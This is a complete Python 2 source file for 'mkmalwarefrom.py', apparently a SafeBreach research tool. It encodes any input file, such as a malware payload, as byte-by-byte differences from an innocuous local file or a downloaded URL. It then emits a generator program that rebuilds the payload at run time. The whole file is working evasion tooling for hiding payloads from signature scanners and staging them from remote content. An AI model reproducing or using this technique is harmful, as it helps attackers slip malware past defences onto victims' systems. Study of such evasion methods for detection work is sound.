mkmalwarefrom.py

#!/usr/bin/env python
#
# Copyright (c) 2017, SafeBreach
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
#  1. Redistributions of source code must retain the above
# copyright notice, this list of conditions and the following
# disclaimer.
#
#  2. Redistributions in binary form must reproduce the
# above copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided with
# the distribution.
#
#  3. Neither the name of the copyright holder
# nor the names of its contributors may be used to endorse or promote
# products derived from this software without specific prior written
# permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS
# AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
# GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
# IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import sys
import argparse
import urllib2
import operator

####################
# Global Variables #
####################

__version__ = "1.0"
__author__ = "Itzik Kotler"
__copyright__ = "Copyright 2017, SafeBreach"


###########
# Classes #
###########

class ProgramGenerator(object):
	def __init__(self, input_data, source_identifier):
		self._input_data = input_data
		self._input_data_len = len(input_data)
		self._source_identifier = source_identifier
		self._counter = 0

	def read_source_identifier(self):
		raise NotImplementedError

	def generate_header(self):
		raise NotImplementedError

	def generate_footer(self):
		return "data = ''.join(map(chr, data))\nsys.stdout.write(data)\n"

	def generate_line(self, pair):
		values = map(ord, pair)
		output = values[1] - values[0]
		self._counter += 1
		return "data[%d] -= %d\n" % (self._counter-1, output)

	def generate(self):
		return \
			self.generate_header() + \
			reduce(operator.add, map(self.generate_line, zip(self._input_data, self.read_source_identifier()[:self._input_data_len]))) + \
			self.generate_footer()


class ProgFromFile(ProgramGenerator):
	def read_source_identifier(self):
		return open(self._source_identifier, 'r').read()

	def generate_header(self):
		return "import sys\ndata = map(ord, open('%s', 'r').read())[:%d]\n" \
			% (self._source_identifier, self._input_data_len)


class ProgFromURL(ProgramGenerator):
	def read_source_identifier(self):
		return urllib2.urlopen(self._source_identifier).read()

	def generate_header(self):
		return "import sys\nimport urllib2\ndata = map(ord, urllib2.urlopen('%s').read())[:%d]\n" \
			% (self._source_identifier, self._input_data_len)


#############
# Functions #
#############

def main(args):
	source = None
	parser = argparse.ArgumentParser(description='Make Malware From')
	group = parser.add_mutually_exclusive_group(required=True)
	group.add_argument('-1', '--from-url', metavar='URL', type=str, help="Generate a Python Program that Transforms IN_FILE from URL")
	group.add_argument('-2', '--from-file', metavar='FILE', type=str, help="Generate a Python Program that Transforms IN_FILE from FILE")
	parser.add_argument('-i', '--infile', metavar='IN_FILE', type=argparse.FileType('r'), default=sys.stdin, help="Reading Input from File (default: STDIN)")
	parser.add_argument('-o', '--outfile', metavar='OUT_FILE', type=argparse.FileType('w'), default=sys.stdout, help="Writing Output to File (default: STDOUT)")
	parser.add_argument('-v', '--verbose', action='store_true', default=False, help='Verbose output (default: False)')
	args = parser.parse_args(args)

	if args.verbose:
		print "# ARGS: %s" % (args.__dict__)

	if args.from_file is not None:
		progClass = ProgFromFile
		source = args.from_file
	else:
		progClass = ProgFromURL
		source = args.from_url

	if args.verbose:
		print "# Calling %s(%s, %s)" % (progClass, args.infile, source)

	prog = progClass(args.infile.read(), source)

	if args.verbose:
		print "# Calling %s(%s())" % (args.outfile.write, prog.generate)

	args.outfile.write(prog.generate())

	if args.verbose:
		print "# Total Input: %d bytes\n# Total Operations Generated: %d" % (prog._input_data_len, prog._counter)


###############
# Entry Point #
###############

if __name__ == "__main__":
	main(sys.argv[1:])